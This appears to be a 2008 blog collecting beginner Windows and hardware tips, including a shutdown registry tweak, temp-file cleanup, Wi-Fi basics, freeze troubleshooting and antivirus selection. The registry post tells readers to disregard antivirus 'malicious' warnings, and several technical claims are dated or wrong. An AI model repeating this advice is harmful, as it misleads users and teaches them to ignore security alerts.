Computer tips n tricks!!

How to increase your Laptop Battery's Life?

noreply@blogger.com (Besteoffers) — Mon, 25 Aug 2008 14:45:00 +0000

Hi friends today i am posting few steps through which you can make your battery life long.

Follow the few steps to increase the laptop battery's life:

# The screen of your Laptop takes up significant amount of power and you do not require its maximum brightness. You should have to check your system and decrease the screen brightness it to a comfortable point.

#Stop your wireless signal when you are not using.

After turning off your Laptop can save max. 20 minutes of your laptop's battery time because WiFi can use a considerable quantity of power. By right clicking you can stop your WiFi signal when you are not using.

#Manage the correct power scheme in XP

Windows XP contain a number of predetermined power plans, which control settings like how rapidly your laptop turns off and when your screen saver boots in. You can change your laptop power scheme by choosing Control Panel > Power Options. For max. Battery life from the "Power scheme" chooses the option "Max. Battery" and decline the list. There are good choices for you just like "Low Power Mode" and Portable /Laptop. They don't conserve as much power as Max Battery. After selecting a power scheme you click Ok button to finish the process.

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Auto End tasks to enable proper shutdown

noreply@blogger.com (Besteoffers) — Sun, 03 Aug 2008 10:34:00 +0000

Auto End Tasks to Enable a Proper Shutdown

This reg file automatically ends tasks and timeouts that prevent programs from shutting down and clears the Paging File on Exit.

1. Copy the following (everything in the box) into notepad.

QUOTE
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"ClearPageFileAtShutdown"=dword:00000001

[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"AutoEndTasks"="1"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]
"WaitToKillServiceTimeout"="1000"

2. Save the file as shutdown.reg
3. Double click the file to import into your registry.

NOTE: If your anti-virus software warns you of a "malicious" script, this is normal if you have "Script Safe" or similar

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Do u knw d meaning of bandwidth??

noreply@blogger.com (Besteoffers) — Sun, 03 Aug 2008 10:32:00 +0000

BandWidth Explained

Most hosting companies offer a variety of bandwidth options in their plans. So exactly what is bandwidth as it relates to web hosting? Put simply, bandwidth is the amount of traffic that is allowed to occur between your web site and the rest of the internet. The amount of bandwidth a hosting company can provide is determined by their network connections, both internal to their data center and external to the public internet.

Network Connectivity

The internet, in the most simplest of terms, is a group of millions of computers connected by networks. These connections within the internet can be large or small depending upon the cabling and equipment that is used at a particular internet location. It is the size of each network connection that determines how much bandwidth is available. For example, if you use a DSL connection to connect to the internet, you have 1.54 Mega bits (Mb) of bandwidth. Bandwidth therefore is measured in bits (a single 0 or 1). Bits are grouped in bytes which form words, text, and other information that is transferred between your computer and the internet.

If you have a DSL connection to the internet, you have dedicated bandwidth between your computer and your internet provider. But your internet provider may have thousands of DSL connections to their location. All of these connection aggregate at your internet provider who then has their own dedicated connection to the internet (or multiple connections) which is much larger than your single connection. They must have enough bandwidth to serve your computing needs as well as all of their other customers. So while you have a 1.54Mb connection to your internet provider, your internet provider may have a 255Mb connection to the internet so it can accommodate your needs and up to 166 other users (255/1.54).

Traffic

A very simple analogy to use to understand bandwidth and traffic is to think of highways and cars. Bandwidth is the number of lanes on the highway and traffic is the number of cars on the highway. If you are the only car on a highway, you can travel very quickly. If you are stuck in the middle of rush hour, you may travel very slowly since all of the lanes are being used up.

Traffic is simply the number of bits that are transferred on network connections. It is easiest to understand traffic using examples. One Gigabyte is 2 to the 30th power (1,073,741,824) bytes. One gigabyte is equal to 1,024 megabytes. To put this in perspective, it takes one byte to store one character. Imagine 100 file cabinets in a building, each of these cabinets holds 1000 folders. Each folder has 100 papers. Each paper contains 100 characters - A GB is all the characters in the building. An MP3 song is about 4MB, the same song in wav format is about 40MB, a full length movie can be 800MB to 1000MB (1000MB = 1GB).

If you were to transfer this MP3 song from a web site to your computer, you would create 4MB of traffic between the web site you are downloading from and your computer. Depending upon the network connection between the web site and the internet, the transfer may occur very quickly, or it could take time if other people are also downloading files at the same time. If, for example, the web site you download from has a 10MB connection to the internet, and you are the only person accessing that web site to download your MP3, your 4MB file will be the only traffic on that web site. However, if three people are all downloading that same MP at the same time, 12MB (3 x 4MB) of traffic has been created. Because in this example, the host only has 10MB of bandwidth, someone will have to wait. The network equipment at the hosting company will cycle through each person downloading the file and transfer a small portion at a time so each person's file transfer can take place, but the transfer for everyone downloading the file will be slower. If 100 people all came to the site and downloaded the MP3 at the same time, the transfers would be extremely slow. If the host wanted to decrease the time it took to download files simultaneously, it could increase the bandwidth of their internet connection (at a cost due to upgrading equipment).

Hosting Bandwidth

In the example above, we discussed traffic in terms of downloading an MP3 file. However, each time you visit a web site, you are creating traffic, because in order to view that web page on your computer, the web page is first downloaded to your computer (between the web site and you) which is then displayed using your browser software (Internet Explorer, Netscape, etc.) . The page itself is simply a file that creates traffic just like the MP3 file in the example above (however, a web page is usually much smaller than a music file).

A web page may be very small or large depending upon the amount of text and the number and quality of images integrated within the web page. For example, the home page for CNN.com is about 200KB (200 Kilobytes = 200,000 bytes = 1,600,000 bits). This is typically large for a web page. In comparison, Yahoo's home page is about 70KB.

How Much Bandwidth Is Enough?

It depends (don't you hate that answer). But in truth, it does. Since bandwidth is a significant determinant of hosting plan prices, you should take time to determine just how much is right for you. Almost all hosting plans have bandwidth requirements measured in months, so you need to estimate the amount of bandwidth that will be required by your site on a monthly basis

If you do not intend to provide file download capability from your site, the formula for calculating bandwidth is fairly straightforward:

Average Daily Visitors x Average Page Views x Average Page Size x 31 x Fudge Factor

If you intend to allow people to download files from your site, your bandwidth calculation should be:

[(Average Daily Visitors x Average Page Views x Average Page Size) +
(Average Daily File Downloads x Average File Size)] x 31 x Fudge Factor

Let us examine each item in the formula:

Average Daily Visitors - The number of people you expect to visit your site, on average, each day. Depending upon how you market your site, this number could be from 1 to 1,000,000.

Average Page Views - On average, the number of web pages you expect a person to view. If you have 50 web pages in your web site, an average person may only view 5 of those pages each time they visit.

Average Page Size - The average size of your web pages, in Kilobytes (KB). If you have already designed your site, you can calculate this directly.

Average Daily File Downloads - The number of downloads you expect to occur on your site. This is a function of the numbers of visitors and how many times a visitor downloads a file, on average, each day.

Average File Size - Average file size of files that are downloadable from your site. Similar to your web pages, if you already know which files can be downloaded, you can calculate this directly.

Fudge Factor - A number greater than 1. Using 1.5 would be safe, which assumes that your estimate is off by 50%. However, if you were very unsure, you could use 2 or 3 to ensure that your bandwidth requirements are more than met.

Usually, hosting plans offer bandwidth in terms of Gigabytes (GB) per month. This is why our formula takes daily averages and multiplies them by 31.

Summary

Most personal or small business sites will not need more than 1GB of bandwidth per month. If you have a web site that is composed of static web pages and you expect little traffic to your site on a daily basis, go with a low bandwidth plan. If you go over the amount of bandwidth allocated in your plan, your hosting company could charge you over usage fees, so if you think the traffic to your site will be significant, you may want to go through the calculations above to estimate the amount of bandwidth required in a hosting plan.

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How to remove junk files from ur PC

noreply@blogger.com (Besteoffers) — Sun, 03 Aug 2008 10:30:00 +0000

Here are some simple techniques to remove your temporary files from your hard drive. These temporary files if not cleared frequently, could take up a lot of space. But, if you are working with internet regularly or didn’t care much about your temporary files, you can keep them. Oh, btw, these temporary files makes your webpage loads faster and makes programs runs much faster, no doubt.

1. Start > Run > Type %temp% in the text field (including %). You can delete all the files from that folder. In case, a file is currently used by a running program, you will not be able to delete it. Do it at a later time, or when you stop every program that is running.

And just press the Up button from this folder and you will see a folder named “Temporary Internet Files”. Guess, you know what to do.

2. Start > Run > Prefetch : You can delete all the files from this folder.

3. Start > Run > Temp : Same as prefetch.

4. You can search for a temporary files yourself by typing *.tmp in the Find files or folders. But this is risky.

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How to enable Autosave feature in MS Excel?

noreply@blogger.com (Besteoffers) — Sun, 03 Aug 2008 10:14:00 +0000

Microsoft Excel includes a powerful feature of saving your document automatically after some specified time intervals. By default, Excel automatically saves your current document after every ten minutes intervals but you can change this time. This Auto save feature save the data in the same file. However, AutoSave protects your data in the event that Excel unexpectedly quits. It is also good idea to create a backup of your files using any removable devices, because in this global network a computer can crash, a virus create problem, or a hard drive failure can wipe out everything

Follow the given steps to change default save time and enable auto backup feature:

A small dialog box will open, here select the Save tab in the dialog box.

Now click the "Save AutoRecover info every" check box and enter the time in minutes under "Settings" area.

Here you have choice to modify the location of saving your document automatically under "AutoRecover save location" option.

Click the Ok button of dialog box to finish the process.

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Wireless Internet Tips

noreply@blogger.com (Besteoffers) — Sat, 19 Jul 2008 11:12:00 +0000

If you plan on sharing your wireless internet access, you will need to have that option turned on in your settings. However, if you do not have other computers hooked up to the network at this time, for security purposes, you should leave the setting turned off until the need arises to share the wireless internet access.

Wireless Internet Speeds

Coming in at the slowest is Bluetooth, followed by 802.11b, 802.11a and topping the charts currently is 802.11g. 802.11b is roughly equivalent to the traditional wired 10BaseT Wired Ethernet networks. Therefore, switching to Wi-Fi should not considerably slow down your wireless internet connection.

Wireless Network Equipment While Traveling

You will need to have a wireless network card, either an adapter or integrated in your laptop. If you do not have an available slot on your PC, there are adapters you can purchase that plug into a USB port on the computer.

Finding a Wireless Internet Hot Spot

There are several stores and restaurants that offer wireless internet access, such as Starbucks. If you have a particular destination in mind, you can call the hotels to see if they offer the service. There are also hot spot directories that you can search to find wireless internet access.

Wireless internet - WiFi Standards

802.11 is the Wi-Fi standard, however there are other standards which are variations of the 802.11. These include:

802.11a

802.11b

802.11g

802.11i.

The differences among these standards includes speed, transmission frequency, and price. 802.11g is backwards compatible with previous products, but that is not the case with 802.11a. Make sure you check on compatibility issues prior to purchasing products.

Wireless Internet and Dial up

It is possible to share a wireless internet connection with dial up, but it is not a very good idea. Some access points, such as the airport extreme base station from Apple, will allow this. However, there is some slow down time with sharing a wireless internet connection, and if you decide to share a dial up connection, you won't be surfing anything fast.

Finding a Wireless Internet Hot Spot in a Chain

If you are traveling and know that you will be stopping at Starbucks, for example, and want to access the internet, you can check out their website to see what specific franchises offer wireless internet access.

Paying for Wireless Internet Access

Most likely, you will need to pay for the high speed wireless internet access when you travel. Starbucks for example uses T-mobile as their wireless internet provider. You will need to have a t-mobile account in order to access wi-fi at Starbucks. There are some restaurants that may advertise free Wi-Fi, but in general, you should expect to pay a fee.

Nationwide Wireless Internet Service

There are a plethora of national wireless high speed internet services available. AT&T, Sprint PCS, T-mobile, and Verizon are a few which offer nationwide service. You will want to check out various pricing, roaming policies and fees for the various networks.

Mixing Apples and PC's to Share Wireless Internet Connection

You can mix apple and PC on a wireless network and share a wireless internet access. For example, Apple makes an access point called the AirPort Extreme Base station. Even though it is made by Apple, it still uses the Wi-Fi standard, and PC computers with a wireless adapter on the network will be able to share the wireless internet connection

Mixing Wireless Internet and Wired Internet

You can easily share a wireless internet access while still maintaining a wired network. There are many wireless routers on the market which offer both wired and wireless network capabilities. It is also possible to add on an access point after a wired router for wireless access.

Configuring Wireless Access Point to Share Wireless Internet Connection

Once you install the drivers on your computer for the access point, you will be able to open up the configuration software that comes with the router. The IP address 192.168.0.0 is the lowest in the network and should be dedicated to the router. Make sure to follow the specific configuration instructions that come with your wireless router, as each product will be slightly different from one another.

Wireless Internet Equipment

The beauty of the WI-FI is that it set a standard for wireless networking. Because of this, you do not need to have equipment from all the same venders in order to run a successful wireless network. You will be able to share wireless internet access as well without having equipment from all the same venders.

Configuring Wireless Internet Card

You will need to use the configuration software that comes with your network card to configure your computer to work at various hot spots. Simply type in the hotspot network name (various depending on the service you are using) and state the type of network, such as access point. You can also scan available wireless broadband internet access in the area and choose which network you wish to connect with.

Wireless Internet WIFI

WI-FI, the 802.11 standard, is important for a variety of reasons. Having a standard in the industry ensures that anyone using wi-fi will be using the same standard, therefore equipment and connections are interchangeable. Having a set standard makes setting up wireless networks, sharing wireless internet access and working with wireless equipment more users friendly.

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Hard drive facts!!

noreply@blogger.com (Besteoffers) — Sat, 19 Jul 2008 11:09:00 +0000

Your hard drive, or also called hard disk, is a gigantic diskette in your computer. It is one disk big enough to store you Operating System, games and programs. Without it, your PC is just an empty shell.

Check Your BIOS

Better beware of older systems with large hard drives. If you have an older motherboard, your BIOS might not recognize hard drives larger than 2.1 GB. Hopefully, your BIOS is EPROM which means although read only (noticed the ROM?) it can be edited by authorized editors. Nearly all newer motherboards support that. All you need to do is to go online, go to your motherboard manufacturer's website and try to download a flash BIOS update. Install it and it should be done.

Are You FAT Enough?

If you have a large capacity hard drive with more than 2.1 GB, you might have a problem. Windows 95 itself will only recognize a partition with not more than 2.1 GB. You need FAT32. With FAT32, you can have one large capacity hard drive without partitioning. You will also save some space with FAT32. In short, larger hard drives require FAT32.

Consider Partitioning

Although you can have one big fat hard drive as one partition, you should consider partitioning as well, if you have a big hare drive. Partitioning is the method of dividing an area on a disk into smaller portions of lesser capacities that can be recognized by the operating system. Picture this: your hard drive is a cake. It is easier to eat a cake divided into pieces than to eat it whole.

Partitioning enables you to achieve greater efficiency and functionality from high-capacity disks (2.1GB or greater). You can create partitions by using FDISK on a system running in MS-DOS mode or by using a third-party disk utility. Remember that after partitioning, all data will be loss so be careful.

You can set aside a small partition for backup purposes. In case you should decided to format, just format the partition you use to store Windows. Your data in the backup partition is still there. But be careful! If you format a FAT32 partition with a FAT16 formatting utility, your partitions with data in it will all be loss! So never install DOS after formatting Windows. Because DOS utilizes FAT16, your FAT32 partition will all be gone.

Access Time or Seek Time?

If you want to buy a hard drive but are confused with the specifications of access time and seek time, remember that the key to the speed of a hard drive is the average access time. This is the time taken to access a single sector to the time when the drive's head reaches the sector. But beware, some ads quote seek time that is not the appropriate measurement. Access time is seek time plus latency (the time it takes for the chosen sector to come around to be positioned under the read/write head)

Speed, Not Space

A lot of people are confused between speed and space. If you have a Quantum Fireball with 1.2 GB and a Quantum Bigfoot with 3.5 GB surely you should put the Bigfoot as the master and Fireball as the slave right? Wrong! You should always consider speed as well as space. The Quantum Fireball has a faster access time. A faster hard drive means better performance. Make sure your operating system is store in the faster hard drive. You can use the Bigfoot to store your programs or games which makes not much difference to the speed. With speed hungry programs or games, store them in the faster drive too. You must know what to put where.

The status of the drives is determined by setting small jumpers that are usually located next to the IDE connector on the drive itself.

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CD-ROM facts

noreply@blogger.com (Besteoffers) — Sat, 19 Jul 2008 11:07:00 +0000

The maximum a floppy disk can contain is 1.44 MB. To play a game with around 200 MB you are stuck with 100 over diskettes. The CD-ROM is a revolutionary invention that allows up to 625 MB at one time. However, it is read only, which means you can't store in anything.

Buttons Fun

Although most CD-ROMs comes with only 2 buttons, do you know you can also skip, play previous track and play the next track as well with a proper combination? Check properly on your instruction manual for additional functions. You just might be surprised what it can do.

Clean Thoroughly

It is important to clean the CR-ROM at least once every month. Get a CD lens cleaner. If possible, choose one with an alcohol solution drop. This should ensure that your CD-ROM will always be able to read properly.

Clean You CDs

It is just as important to clean your CDs often. Why? Because if you have a speck of dust on the surface of one of your CDs, once spinning at high-speed in the drive, the speck of dust is enough to produce scratches on your precious CD.

Running In DOS

One of the common problems with CD-ROMs is unable to access it under DOS. This might be because the protected-mode CD-ROM driver isn't available. You'll need to add the real-mode device driver, usually included with your CD-ROM drive, in CONFIG.SYS and load MSCDEX.EXE, which is available in the Windows\Command folder. You should also make sure both files are on your startup disk.

Run List

Like those cool expensive hi-fi systems, you can customize the run list of your Audio CD, only not with the CD-ROM itself. Use Windows' CD player to customize the run list and you can have your CD running in any track order you like.

Read Ahead

The read ahead buffer is useful to speed up things. Go to Control Panel, System. Click on the Performance tab. Click on the File System... button. On the File System Properties, click on CD-ROM. Make sure you have the fullest cache. Even if you have a CD-ROM with less than Quad speed, just move ahead. You'll be surprised to find your CD-ROM running faster.

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Graphic card info

noreply@blogger.com (Besteoffers) — Sat, 19 Jul 2008 10:58:00 +0000

The graphic card is one of the most important pieces of hardware in your PC. Without it, your super monitor with all the bells and whistles is just a junk box.

Make Directional Input

Most video cards come with simple frame capture programs, but you'll have to do some programming if you plan to integrate video capture with other operations on your computer, such as adding text data as an overlay or changing video-in channels on the fly. In this case you'll need good programming libraries in a language with which you are familiar for the video card. Some companies include libraries with their cards, but most charge extra. Most often libraries, when available, are for C or BASIC, and sometimes Pascal.

Choose Between 24 bit and 32 bit

For True Color mode, some graphic cards offer 24 bit while some offer 32 bit. Which is the best? When True Colour mode was first suggested, it utilizes 32 bit which was very pleasing to the eye, they realize that 24 (with less coolers) won't look much different since the human eye can only take about a certain amount of colors. On the other hand, 24 bit will run faster compared to 32 bit because it uses less colors. So if your card utilizes 24 bit, don't worry, it isn't bad.

Always Use The Latest Drivers

Yes, it is important to make sure you always have the latest drivers. The latest drivers will offer you better performance, more utilities and more compatibility (usually for DirectX or Direct3D). Take the effort to check you card manufacturer's site to look for the latest driver updates.

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Blank scrap in orkut

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 06:10:00 +0000

Place the cursor in the text field.

Delete everything in the field.

Now, HOLD (Keep pressed) ALT key and press 0 1 7 3 (Press the numbers one after the another. Do not keep them pressed) on the NUMBER PAD (on the right side of the keyboard).

If you are using a laptop, just press [i] in the text box.

Click SUBMIT.

Troubleshooting Computer Freezes / Lockups

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 06:09:00 +0000

How familiar does the following sound? Your computer was working fine, but then suddenly started locking up (aka hanging or freezing), rebooting itself (crashing) or shutting down spontaneously? If you know only too well what I am talking about, then read on! Performing the simple steps below can fix the majority of lockup cases.

1. Check for recently installed software or hardware.

If the lockups started to happen after you installed a new peace of hardware, new software program, or new drivers, uninstall it and see if the problem goes away. If you don't know what software you installed recently or don't know what changes made your computer crash, you can try System Restore which comes with XP. It restores your computer to a previous working state. Run the application from here: Start Menu -> Programs -> Accessories -> System Tools -> System Restore.

2. Run your antivirus program.

One of the first things to do in the case of sudden lockups is to run your antivirus program. Check your antivirus manufacturer's website for updates and latest virus definition files. (This is absolutely necessary, outdated antivirus is not going to be of any use!) If you don't have antivirus software installed - or if updates are unavailable - run one of the web-based antivirus scans that some major antivirus vendors like Trend Micro are offering for free.

3. Run some good spyware removal tool.

If your machine is not infected with any viruses, it is still possible that it has some harmful adware or spyware is present. Download and run some good spyware removal tool such as AdAware, Spybot S&D or SpywareBlaster. These tools are superb spyware prevention tools and provide regular updates.

4. Check for free hard drive space.

When no viruses are found, check out free hard drive space on drive C:. Make sure there is more than 20% of free space available; low disk space can lead to random lockups.

5. Check for overheating.

Overheating is another known cause of lockups. It can be caused by problems with fans inside the case, dust buildup, or other cooling problems. Make sure the power supply fan and CPU fan are running and free of dust buildup. You can check the temperatures inside the case by running Motherboard monitor http://mbm.livewiredev.com- make sure the temperatures are within the preset limits. Be very careful while cleaning inside the computer case (use plastic vacuum crevice tool) and NEVER OPEN THE POWER SUPPLY CASE as it contains high voltage.

6. Check the hard disk.

Check the hard disk - it is possible that its logical structure is corrupted. To check the disk for errors, right-click on the disk C: icon in "My Computer", select the "Tools" tab, check all check boxes in the "Check disk options" field, and press the "Check now" button. It should ask whether you want to schedule the check next time you restart your computer - answer "Yes" and restart your PC. The check will be performed automatically after startup; it can take a while, so be patient. The program will attempt to fix some problems automatically – however, if the hard disk is failing physically, it will need to be replaced. It is also a good idea to run Disk Defragmenter (located in Start Menu > Programs > Accessories > System Tools) to optimize data placement on the hard disk for increased performance and reliability.

7. Check the memory.

Sometimes random lockups can be attributed to the computer memory (RAM) starting to fail. You can test the memory by running Windows Memory Diagnostic that can be downloaded from Microsoft Online Crash Analysis If memory problems are found, try re-seating the RAM (pull it out and plug it back in). If it doesn't work, replace the defective RAM.

8. Check for other hardware problems (advanced users).

More hardware-related problems can be diagnosed by running hardware tests from the Ultimate Boot CD that can be downloaded from Ultimate Boot CD - Overview However, you should only use it if you know what are you doing - some programs on that CD can be dangerous when used inappropriately (for example, some of them can wipe the contents of your hard disk).

9. Update Windows and drivers.

Some lockups can be caused by outdated software components. Everyone should ensure their Windows Updates are on automatic (Control Panel -> Automatic Updates). Set and forget - Windows will remember for you. (As an alternative you may want to run a windows update: http://windowsupdate.microsoft.com). Also ensure you regularly update all your hardware drivers from vendors' websites. These contain bug fixes and resolves compatibility issues with other hardware.

The above steps will help diagnose and eliminate the most common causes of lockups. Hundreds more of other possible scenarios need to be dealt with on a case-by-case basis, as it all goes down to your particular computer configuration. Asking in troubleshooting forums/newsgroups should help you figure out solutions to not-so-obvious lockup cases.

Know Your Computer

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 06:05:00 +0000

Often when troubleshooting or upgrading a computer, you need to know the specs - information about the computer's OS, RAM, CPU, and many more. So where are you going to find this information? One way (slightly advanced) is to open the System Information viewer (Start>Run>msinfo32.exe). More ways to locate system information are explained below.

System Properties Window

How to access: Hold Start Key and press Pause/Break.

The Systems Properties Window is your portal into the hardware of your computer. On the General tab under System you can find the Operating System name, version, and service pack. Below that is the name of the person the computer is registered to and the registration key used to activate it. Below that is the model name(may not always be same as on box), processor name and speed, and amount of RAM. This is usually enough to get by with, but sometimes you need more, so read on.

Device Manager

How to access: Hold Start Key and press Pause/Break.

Switch tab to Hardware and click the Device Manager button.The Device Manager Window is the advanced portal into the hardware of your computer. From the available categories listed, you can find information regarding just about everything in your box. I cannot begin to list all of them or how to access them, so I will name a few commoners.

Display Adapters (Graphics Card)

If you need info on your graphics card, expand the Display Adapters node and right click on your card. Select Properties from the menu. From the Properties window, you can update/install/rollback the driver, troubleshoot, and enable/disable the card. There are also loads of details about your graphics card available from this window.

DVD/CD-ROM drives

If you need info on your DVD/CD drives, expand the DVD/CD-ROM drives node and right click one of them. Select Properties from the menu. From the Properties window, you can update/install/rollback the driver, troubleshoot, and enable/disable the drive. There are also loads of settings and details about your drive available from this window.

My Computer

How to access: Double click My Computer from Desktop or Click Start and then select My Computer

The most important information that you can find in My Computer is your hard drive size/free space. To do this, right click on Local Disk (C:) and select Properties. The amount of free space on the drive is next to the pinkish square (to the immediate left of GB). The size of the drive is loacted to the right of Capactity (to the immediate left of GB).

Tips To select Antivirus

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 06:05:00 +0000

So you made the decision to buy an AntiVirus (AV) to safeguard your system. But stuck with what to look for in the AV?
Here are some of the tips that will help you in selecting the best AV for your computer:
- Load on System
- Type of subscription
- Ease of Upgradation
- Technical Support
- Frequency of the definitions or updates
Load on System One of the common complaints from the users is that AV is taking lot of system resources. I think the problem could be caused at the startup of the computer where the most of the programs are configured to load and slow down the system. One way to get around this is to disable or delay or the startup of other applications. Remember it is very essential that AV loads at startup and not at a later time because some of the threats tend to load at startup and if they are allowed to load, they could even disable the AV.
Some of the other tips include, increasing the system RAM or Memory. Not only does this speed up the computing, but also allows you to multitask. Here is an easy and simple way to selectively allow programs to start:1. Go to Start > Run2. Type MSCONFIG3. Click on the Startup tab4. Uncheck the programs like Adobe, Winamp, MSN /Yahoo/Gtalk Messenger and etc5. Click OK
Technical Support Believe me, one factor that is going to have a major impact on your peace of mind is the Technical Support from your vendor on their product. I have seen people tear their hairs on the issues that can arise out of the blue.
Most of the problems arise while installing the product. Make sure you read the minimum hardware requirements, supported OS, incompatibility with other products before you decide to zero in on any product. Such information is published in the vendor website.
NOTE: You should Install and Use only One AntiVirus at a time. Having multiple AV to protect your system can cause all of them to malfunction and allow a threat to affect your system!
Technical support can be free or charged. Normally, free technical support is restricted to Knowledge Base Articles and Email or Chat support. KB articles are a good source of information for known issues and solutions for them. Some AV vendors even run support forum, where the solution comes from people like you and me.
Paid support comes in the form of Telephone calls. Here also you may have to go through the maze of IVRs to actually get to talk to the agent. By the time you get to talk to the agent you may be zapped, this does not end here….but to actually get the solution to your problem, you will have to shell out some money which may not be worthwhile. The charge for the paid support is almost equal to the half of the product price! (remember online search engines Google, Yahoo and MSN search are your friends!)
Frequency of virus definitions/updatesWell, if you think just installing an Antivirus would protect your system, hang on. You will also need to download the updates or antivirus definitions to keep up with the new threats. In this fast changing world of technology, newer threats in the form or Viruses, Worms and Trojans (Click here to read the difference between Viruses Worm and Trojans) come out each day. While it may be difficult for AV companies to keep the pace with all of them, some AV Vendors use heuristics to at least quarantine some of these. Symantec for example uses a technology called as Bloodhound to isolate the malicious threats for which complete information is not known. The common practice is this space for most AntiVirus vendors is to release the updates on a weekly basis. However, if there is an outbreak, the definitions to cure the same are released instantly to prevent any zero day attacks. Read the product information at the vendor’s site carefully to know the frequency of updates. An AV that does not get definitions on a periodic use may not be of much use.
Suggestion: Configure your AV to automatically download and install the updates as and when new updates are released.
Ease of UpgradationThe standard practice in the AntiVirus (AV) vendor space is that each year a newer version of the product is released. More often than not, you may end up upgrading to the newer version. Upgradation basically means installing a newer version over the existing version. So ensure that the AV you buy has the good track record of clean upgradation.
Some AV applications are known to have issues while upgrading from an older version to newer version. If not done correctly, they may leave traces in the registry and can cause major issues while installing. So watch out while you decide to Upgrade or Renew for Updates.
Type of Subscription AV products generally have usage license for a period of one year. That is you pay and use for one year and after which you will have to renew it in order to receive the AV Updates / Virus definitions. Know the difference between Upgrade and Update.
An update is a periodic Antivirus definition or signature release from the vendor. This can be periodic, for example Symantec releases its Virus definition every Wednesday. Updates include Virus definitions, program improvements, patches etc.
An upgrade is the iteration in the version of the product. For example, you are using Norton Antivirus (NAV) 2007 and it is reaching its one year period and Symantec has now released NAV 2008. You will be presented an option to upgrade to the newer version or continue using the older version by renewing the subscription fees, in which case you will continue to use NAV 2007.
An upgrade normally costs little more than renewal and its better to go for an upgrade because there will bound to be improvements in the newer version.

What happens when computer starts?

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 06:04:00 +0000

A computer without a program running is just an inert hunk of electronics. The first thing a computer has to do when it is turned on is start up a special program called an operating system. The operating system's job is to help other computer programs to work by handling the messy details of controlling the computer's hardware.
The process of bringing up the operating system is called booting (originally this was bootstrapping and alluded to the process of pulling yourself up "by your bootstraps"). Your computer knows how to boot because instructions for booting are built into one of its chips, the BIOS (or Basic Input/Output System) chip.
The BIOS chip tells it to look in a fixed place, usually on the lowest-numbered hard disk (the boot disk) for a special program called a boot loader (under Linux the boot loader is called Grub or LILO). The boot loader is pulled into memory and started. The boot loader's job is to start the real operating system.
The loader does this by looking for a kernel, loading it into memory, and starting it. When you boot Linux and see "LILO" on the screen followed by a bunch of dots, it is loading the kernel. (Each dot means it has loaded another disk block of kernel code.)
(You may wonder why the BIOS doesn't load the kernel directly — why the two-step process with the boot loader? Well, the BIOS isn't very smart. In fact it's very stupid, and Linux doesn't use it at all after boot time. It was originally written for primitive 8-bit PCs with tiny disks, and literally can't access enough of the disk to load the kernel directly. The boot loader step also lets you start one of several operating systems off different places on your disk, in the unlikely event that Unix isn't good enough for you.)
Once the kernel starts, it has to look around, find the rest of the hardware, and get ready to run programs. It does this by poking not at ordinary memory locations but rather at I/O ports — special bus addresses that are likely to have device controller cards listening at them for commands. The kernel doesn't poke at random; it has a lot of built-in knowledge about what it's likely to find where, and how controllers will respond if they're present. This process is called autoprobing.
Most of the messages you see at boot time are the kernel autoprobing your hardware through the I/O ports, figuring out what it has available to it and adapting itself to your machine. The Linux kernel is extremely good at this, better than most other Unixes and much better than DOS or Windows. In fact, many Linux old-timers think the cleverness of Linux's boot-time probes (which made it relatively easy to install) was a major reason it broke out of the pack of free-Unix experiments to attract a critical mass of users.
But getting the kernel fully loaded and running isn't the end of the boot process; it's just the first stage (sometimes called run level 1). After this first stage, the kernel hands control to a special process called ‘init’ which spawns several housekeeping processes.
The init process's first job is usually to check to make sure your disks are OK. Disk file systems are fragile things; if they've been damaged by a hardware failure or a sudden power outage, there are good reasons to take recovery steps before your Unix is all the way up. We'll go into some of this later on when we talk about how file systems can go wrong.
Init's next step is to start several daemons. A daemon is a program like a print spooler, a mail listener or a WWW server that lurks in the background, waiting for things to do. These special programs often have to coordinate several requests that could conflict. They are daemons because it's often easier to write one program that runs constantly and knows about all requests than it would be to try to make sure that a flock of copies (each processing one request and all running at the same time) don't step on each other. The particular collection of daemons your system starts may vary, but will almost always include a print spooler (a gatekeeper daemon for your printer).
The next step is to prepare for users. Init starts a copy of a program called getty to watch your console (and maybe more copies to watch dial-in serial ports). This program is what issues the login prompt to your console. Once all daemons and getty processes for each terminal are started, we're at run level 2. At this level, you can log in and run programs.
But we're not done yet. The next step is to start up various daemons that support networking and other services. Once that's done, we're at run level 3 and the system is fully ready for use.

How file system can go wrong?

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 06:03:00 +0000

Earlier it was hinted that file systems can be fragile things. Now we know that to get to a file you have to hopscotch through what may be an arbitrarily long chain of directory and i-node references. Now suppose your hard disk develops a bad spot?
If you're lucky, it will only trash some file data. If you're unlucky, it could corrupt a directory structure or i-node number and leave an entire subtree of your system hanging in limbo — or, worse, result in a corrupted structure that points multiple ways at the same disk block or i-node. Such corruption can be spread by normal file operations, trashing data that was not in the original bad spot.
Fortunately, this kind of contingency has become quite uncommon as disk hardware has become more reliable. Still, it means that your Unix will want to integrity-check the file system periodically to make sure nothing is amiss. Modern Unixes do a fast integrity check on each partition at boot time, just before mounting it. Every few reboots they'll do a much more thorough check that takes a few minutes longer.
If all of this sounds like Unix is terribly complex and failure-prone, it may be reassuring to know that these boot-time checks typically catch and correct normal problems before they become really disastrous. Other operating systems don't have these facilities, which speeds up booting a bit but can leave you much more seriously screwed when attempting to recover by hand (and that's assuming you have a copy of Norton Utilities or whatever in the first place...).
One of the trends in current Unix designs is journalling file systems. These arrange traffic to the disk so that it's guaranteed to be in a consistent state that can be recovered when the system comes back up. This will speed up the boot-time integrity check a lot.

Basic Atonomy of Your Computer

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 06:02:00 +0000

Your computer has a processor chip inside it that does the actual computing. It has internal memory (what DOS/Windows people call "RAM" and Unix people often call "core"; the Unix term is a folk memory from when RAM consisted of ferrite-core donuts). The processor and memory live on the motherboard, which is the heart of your computer.
